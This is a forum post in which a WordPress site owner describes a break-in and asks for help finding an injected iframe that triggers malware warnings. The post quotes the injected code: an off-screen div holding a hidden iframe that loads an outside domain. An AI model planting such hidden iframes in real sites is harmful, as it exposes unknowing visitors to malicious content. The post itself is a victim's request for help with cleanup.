Searching for malicious code on WordPress

Apologies if this has been asked and answered but I’ve been trawling this forum for a week and cannot find anything that solves my issue.

I recently discovered that my site had been accessed by someone other than myself. I’d noticed a weird iframe over my header that never generated but assumed it was an ad gone awry and that it would resolve itself in time. Soon readers were contacting me saying they couldn’t access my site because of ‘malware warnings’ so I implemented some security measures, discovered I’d been under ‘brute force attack’ and tried to stop further access.

That’s all fine and I seem to have cracked keeping them out but I’ll be damned if I can get rid of that iframe. I asked my ad agent if they could help and they sent me a screen shot of the coding that was causing the issue but I have no idea where to find it within wordpress. I’ve looked through every individual folder (I think – it’s hard to keep up, there are so many) but no luck.

If any of you can advise ANYTHING I will be eternally grateful. I’m a total noob but trying!

FYI the code I’m searching for is:

<div class="textwidget"><div style='width: 300px; height: 300px; position: absolute; left:-500px; top: -500px;'>

<iframe src='https://xxxxxxxxxxxcache.net/' width='250' height='250'></iframe>

</div>